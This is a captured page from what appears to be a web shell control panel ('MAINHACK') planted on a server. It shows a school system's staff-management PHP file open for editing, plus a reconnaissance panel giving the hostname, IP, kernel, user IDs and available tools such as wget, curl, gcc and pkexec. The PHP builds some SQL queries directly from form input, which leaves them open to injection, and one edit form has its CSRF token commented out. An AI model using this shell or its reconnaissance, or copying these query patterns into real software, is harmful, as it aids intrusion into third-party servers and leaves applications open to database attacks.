[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: all-users.php
<?php error_reporting(E_ALL); ini_set('display_errors', 1); include("../functions.php"); //error_reporting(0); if(!isset($_SESSION['dbmail_Xw211qAAsq4'])){ header("location:../auth-login"); } else { $s_code = $_SESSION['s_code_Xw2119904']; $stmt = $con->prepare("Select * from schools where school_code = ?"); $stmt->execute(array($s_code)); $row = $stmt->fetch(); $logo = $row['logo']; $phone_num = $row['phone_num']; $school_name1 = $row['school_name']; $head_title = $row['head_title']; $school_head = $row['school_head']; if(isset($_POST['submit'])) if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $message = "<p class='btn btn-danger'>Sorry, Token Authentication invalid.</p>"; } else { $username = test_input($_POST['username']); $email = test_input($_POST['email']); $password = test_input($_POST['password']); $phone_number = test_input($_POST['phone_number']); if(!empty($username)){ $select = mysqli_query($new,"SELECT * FROM schools WHERE user_name = '$username' and school_code = '$s_code'"); if(mysqli_num_rows($select) > 0){ echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Error!', text: 'Staff name already exist.', icon: 'error', confirmButtonText: 'OK' }); }); </script>"; } else { $pass = password_hash($password,PASSWORD_BCRYPT, array('cost'=>12)); $validation_code = 0; $active = 1; $registered_date = date("Y-m-d H:i:s"); $reset_token = 'none'; $stmt = $con->prepare("insert into schools (school_code,school_name,school_email,phone_num,head_title,school_head,password,validation_code,reset_token,active,registered_date,logo,user_name,staff_number) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?) "); $stmt->execute(array($s_code,$school_name1,$email,$phone_num,$head_title,$school_head,$pass,$validation_code,$reset_token,$active,$registered_date,$logo,$username,$phone_number)); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'New user is added successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } } } if(isset($_POST['del'])){ $myid = test_input($_POST['myid']); $stmt = $con->prepare("DELETE FROM schools WHERE id = ? and school_code = ?"); $stmt->execute(array($myid,$s_code)); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'Records deleted successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } if(isset($_POST['update'])){ $eusername = test_input($_POST['eusername']); $eemail = test_input($_POST['eemail']); $ephone_number = test_input($_POST['ephone_number']); $SID = test_input($_POST['id']); $update = mysqli_query($new,"UPDATE schools SET user_name = '$eusername', school_email = '$eemail', staff_number = '$ephone_number' WHERE id = '$SID'"); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'Records updated successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } if (isset($_FILES['csv_file']) && is_uploaded_file($_FILES['csv_file']['tmp_name'])) { $file = $_FILES['csv_file']['tmp_name']; $stmt = $con->prepare("Select * from schools where school_code = ?"); $stmt->execute(array($s_code)); $row = $stmt->fetch(); $logo = $row['logo']; $phone_num = $row['phone_num']; $school_name1 = $row['school_name']; $head_title = $row['head_title']; $head_title = $row['head_title']; $school_head = $row['school_head']; if (($handle = fopen($file, "r")) !== FALSE) { // Update query to include programme $insertStmt = $con->prepare(" INSERT INTO schools (school_code, school_name, school_email, phone_num, head_title, school_head, password, validation_code, reset_token, active, registered_date, logo, user_name,staff_number) VALUES (:school_code, :school_name, :school_email, :phone_num, :head_title, :school_head, :password, :validation_code, :reset_token, :active, :registered_date, :logo, :user_name,:staff_number) "); $rowCount = 0; $headerSkipped = false; while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) { // ✅ Skip header row if (!$headerSkipped) { $headerSkipped = true; continue; } $name = trim($data[0]); $email = trim($data[1]); $phone_numer = trim($data[2]); $password = trim($data[3]); $pass = password_hash($password,PASSWORD_BCRYPT, array('cost'=>12)); $validation_code = 0; $active = 1; $registered_date = date("Y-m-d H:i:s"); $reset_token = 'none'; $insertStmt->execute([ ':school_code' => $s_code, ':school_name' => $school_name1, ':school_email' => $email, ':phone_num' => $phone_num, ':head_title' => $head_title, ':school_head' => $school_head, ':password' => $pass, ':validation_code' => $validation_code, ':reset_token' => $reset_token, ':active' => $active, ':registered_date' => $registered_date, ':logo' => $logo, ':user_name' => $name, ':staff_number' =>$phone_numer ]); $rowCount++; } fclose($handle); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: '$rowCount records uploaded successfully (header skipped).', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } else { echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Error!', text: 'Failed to open the CSV file.', icon: 'error', confirmButtonText: 'OK' }); }); </script>"; } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>STAFF | ALL STAFF</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="Premium Multipurpose Admin & Dashboard Template" name="description" /> <meta content="Themesbrand" name="author" /> <!-- App favicon --> <!-- DataTables --> <link href="assets/libs/datatables.net-bs4/css/dataTables.bootstrap4.min.css" rel="stylesheet" type="text/css" /> <link href="assets/libs/datatables.net-buttons-bs4/css/buttons.bootstrap4.min.css" rel="stylesheet" type="text/css" /> <!-- Responsive datatable examples --> <link href="assets/libs/datatables.net-responsive-bs4/css/responsive.bootstrap4.min.css" rel="stylesheet" type="text/css" /> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> <link href="assets/libs/sweetalert2/sweetalert2.min.css" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <!-- Begin page --> <div id="layout-wrapper"> <?php include("includes/header.php");?> <?php include("includes/sidebar.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-sm-flex align-items-center justify-content-between"> <h4 class="mb-sm-0 font-size-18">Users</h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);">Home</a></li> <li class="breadcrumb-item active">Users</li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-12"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <button type="button" class="btn btn-primary waves-effect waves-light" data-bs-toggle="modal" data-bs-target=".bs-example-modal-lg">Add user</button> <button type="button" class="btn btn-success waves-effect waves-light" data-bs-toggle="modal" data-bs-target=".bs-example-modal-lg1">Upload file</button> </div> <div class="card-body"> <table style="color: red;" id="datatable-buttons" class="table table-bordered dt-responsive nowrap w-100" > <thead> <tr> <th>#</th> <th>Name</th> <th>Phone number</th> <th>Email</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php $cnt = 1; $select = mysqli_query($new,"SELECT * FROM schools WHERE school_code = '$s_code' AND user_name != 'Admin' ORDER BY id DESC"); while ($getdata = mysqli_fetch_array($select)) { $houseID = $getdata['id']; ?> <tr> <td><?php echo $cnt++;?></td> <td><?php if(empty($getdata['user_name'])){ echo "Admin"; } else { echo "".$getdata['user_name'].""; };?></td> <td><?php echo $getdata['staff_number'];?></td> <td><?php echo $getdata['school_email'];?></td> <td><?php if($getdata['active'] == '1'){ echo "Active"; } else { echo "Inactve"; }?></td> <?php $edit_data = "edit_".$getdata["id"];?> <?php $delete_data = "delete_".$getdata["id"];?> <td> <button type="button" style="width:35px;height: 33px" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#<?php echo $edit_data; ?>"><i class="fa fa-edit"></i></button> <!-- <i class="fa fa-edit btn btn-primary"></i> --> <button type="button" style="width:35px;height: 33px" class="btn btn-danger" data-bs-toggle="modal" data-bs-target="#<?php echo $delete_data; ?>"><i class="fa fa-trash"></i></button> </td> <div class="modal fade bd-example-modal-lg12" id="<?php echo $edit_data; ?>" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="myLargeModalLabel">Update records</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <!-- Centering the form and limiting its width --> <div class="container"> <div class="row justify-content-center"> <div class="col-md-8 col-lg-6"> <!-- Adjust the column size as needed --> <form method="POST"> <?php //echo csrf_token_tag(); ?> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">User name</label> <input type="text" class="form-control" name="eusername" value="<?php echo $getdata['user_name'];?>"> </div> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">Email</label> <input type="text" class="form-control" name="eemail" value="<?php echo $getdata['school_email'];?>"> </div> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">Phone number</label> <input type="text" class="form-control" name="ephone_number" value="<?php echo $getdata['staff_number'];?>"> </div> <input type="hidden" name="id" value="<?php echo $getdata['id'];?>"> <button type="submit" name="update" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> </div> </div> </div> <div class="modal fade bd-example-modal-lg13" id="<?php echo $delete_data; ?>" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-sm"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="myLargeModalLabel">Delete Staff</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <form method="POST"> Are you sure you want to delete this? </div> <input type="hidden" name="myid" value="<?php echo $getdata['id']; ?>"> <div class="modal-footer"> <button type="submit" name="del" class="btn btn-success">Delete</button> </form> </div> </div> </div> </div> <?php }?> </tr> </tbody> </table> </div> </div> <!-- end cardaa --> </div> <!-- end col --> </div> <!-- end row --> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/footer.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="myLargeModalLabel">Add new user</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <!-- Centering the form and limiting its width --> <div class="container"> <div class="row justify-content-center"> <div class="col-md-8 col-lg-6"> <!-- Adjust the column size as needed --> <form method="POST" class="needs-validation mt-4 pt-2" novalidate> <?php echo csrf_token_tag(); ?> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">User name</label> <input type="text" class="form-control" name="username" required > </div> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">Email</label> <input type="text" class="form-control" name="email" required> </div> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">Phone number</label> <input type="text" class="form-control" name="phone_number"> </div> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">Password</label> <input type="password" class="form-control" name="password" required> </div> <button type="submit" name="submit" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> </div> </div> </div> <div class="modal fade bs-example-modal-lg1" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="myLargeModalLabel">Add staff by file upload</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form class="form-horizontal" method="POST" action="upload-staff.xlsx" enctype="multipart/form-data"> <div class="form-group"> <label for="firstname" class="col-sm-9 control-label">Blank Template</label> <div class="col-sm-9"> <input type="hidden" class="form-control" id="download" name="download" Value="download"> <button type="submit" class="btn btn-primary" name="add"><i class="fas fa-download"></i> Download Template</button> </div> </div> </form> <div class="modal-body"> <!-- Centering the form and limiting its width --> <div class="container"> <div class="row justify-content-center"> <div class="col-md-8 col-lg-6"> <!-- Adjust the column size as needed --> <form class="form-horizontal" method="POST" enctype="multipart/form-data"> <div class="mb-3"> <label for="exampleInputEmail1" class="form-label">Upload CSV file</label> <input type="file" accept=".csv" class="form-control" name="csv_file" required> </div> <button type="submit" name="uploadme" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> </div> </div> </div> <!-- Right Sidebar --> <div class="right-bar"> <div data-simplebar class="h-100"> <div class="rightbar-title d-flex align-items-center p-3"> <h5 class="m-0 me-2">Theme Customizer</h5> <a href="javascript:void(0);" class="right-bar-toggle ms-auto"> <i class="mdi mdi-close noti-icon"></i> </a> </div> <!-- Settings --> <hr class="m-0" /> <div class="p-4"> <h6 class="mb-3">Layout</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-vertical" value="vertical"> <label class="form-check-label" for="layout-vertical">Vertical</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-horizontal" value="horizontal"> <label class="form-check-label" for="layout-horizontal">Horizontal</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Mode</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-light" value="light"> <label class="form-check-label" for="layout-mode-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-dark" value="dark"> <label class="form-check-label" for="layout-mode-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Width</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-fuild" value="fuild" onchange="document.body.setAttribute('data-layout-size', 'fluid')"> <label class="form-check-label" for="layout-width-fuild">Fluid</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-boxed" value="boxed" onchange="document.body.setAttribute('data-layout-size', 'boxed')"> <label class="form-check-label" for="layout-width-boxed">Boxed</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Position</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-fixed" value="fixed" onchange="document.body.setAttribute('data-layout-scrollable', 'false')"> <label class="form-check-label" for="layout-position-fixed">Fixed</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-scrollable" value="scrollable" onchange="document.body.setAttribute('data-layout-scrollable', 'true')"> <label class="form-check-label" for="layout-position-scrollable">Scrollable</label> </div> <h6 class="mt-4 mb-3 pt-2">Topbar Color</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-light" value="light" onchange="document.body.setAttribute('data-topbar', 'light')"> <label class="form-check-label" for="topbar-color-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-dark" value="dark" onchange="document.body.setAttribute('data-topbar', 'dark')"> <label class="form-check-label" for="topbar-color-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Size</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-default" value="default" onchange="document.body.setAttribute('data-sidebar-size', 'lg')"> <label class="form-check-label" for="sidebar-size-default">Default</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-compact" value="compact" onchange="document.body.setAttribute('data-sidebar-size', 'md')"> <label class="form-check-label" for="sidebar-size-compact">Compact</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-small" value="small" onchange="document.body.setAttribute('data-sidebar-size', 'sm')"> <label class="form-check-label" for="sidebar-size-small">Small (Icon View)</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Color</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-light" value="light" onchange="document.body.setAttribute('data-sidebar', 'light')"> <label class="form-check-label" for="sidebar-color-light">Light</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-dark" value="dark" onchange="document.body.setAttribute('data-sidebar', 'dark')"> <label class="form-check-label" for="sidebar-color-dark">Dark</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-brand" value="brand" onchange="document.body.setAttribute('data-sidebar', 'brand')"> <label class="form-check-label" for="sidebar-color-brand">Brand</label> </div> <h6 class="mt-4 mb-3 pt-2">Direction</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-ltr" value="ltr"> <label class="form-check-label" for="layout-direction-ltr">LTR</label> </div> </div> </div> <!-- end slimscroll-menu--> </div> <!-- /Right-bar --> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <!-- Required datatable js --> <script src="assets/libs/datatables.net/js/jquery.dataTables.min.js"></script> <script src="assets/libs/datatables.net-bs4/js/dataTables.bootstrap4.min.js"></script> <!-- Buttons examples --> <script src="assets/libs/datatables.net-buttons/js/dataTables.buttons.min.js"></script> <script src="assets/libs/datatables.net-buttons-bs4/js/buttons.bootstrap4.min.js"></script> <script src="assets/libs/jszip/jszip.min.js"></script> <script src="assets/libs/pdfmake/build/pdfmake.min.js"></script> <script src="assets/libs/pdfmake/build/vfs_fonts.js"></script> <script src="assets/libs/datatables.net-buttons/js/buttons.html5.min.js"></script> <script src="assets/libs/datatables.net-buttons/js/buttons.print.min.js"></script> <script src="assets/libs/datatables.net-buttons/js/buttons.colVis.min.js"></script> <!-- Responsive examples --> <script src="assets/libs/datatables.net-responsive/js/dataTables.responsive.min.js"></script> <script src="assets/libs/datatables.net-responsive-bs4/js/responsive.bootstrap4.min.js"></script> <script src="assets/libs/sweetalert2/sweetalert2.min.js"></script> <!-- Datatable init js --> <script src="assets/js/pages/datatables.init.js"></script> <script src="assets/js/app.js"></script> <script src="assets/js/pages/validation.init.js"></script> <script src="assets/js/pages/modal.init.js"></script> <script> var myModal = document.getElementById('myModal') var myInput = document.getElementById('myInput') myModal.addEventListener('shown.bs.modal', function () { myInput.focus() }) </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002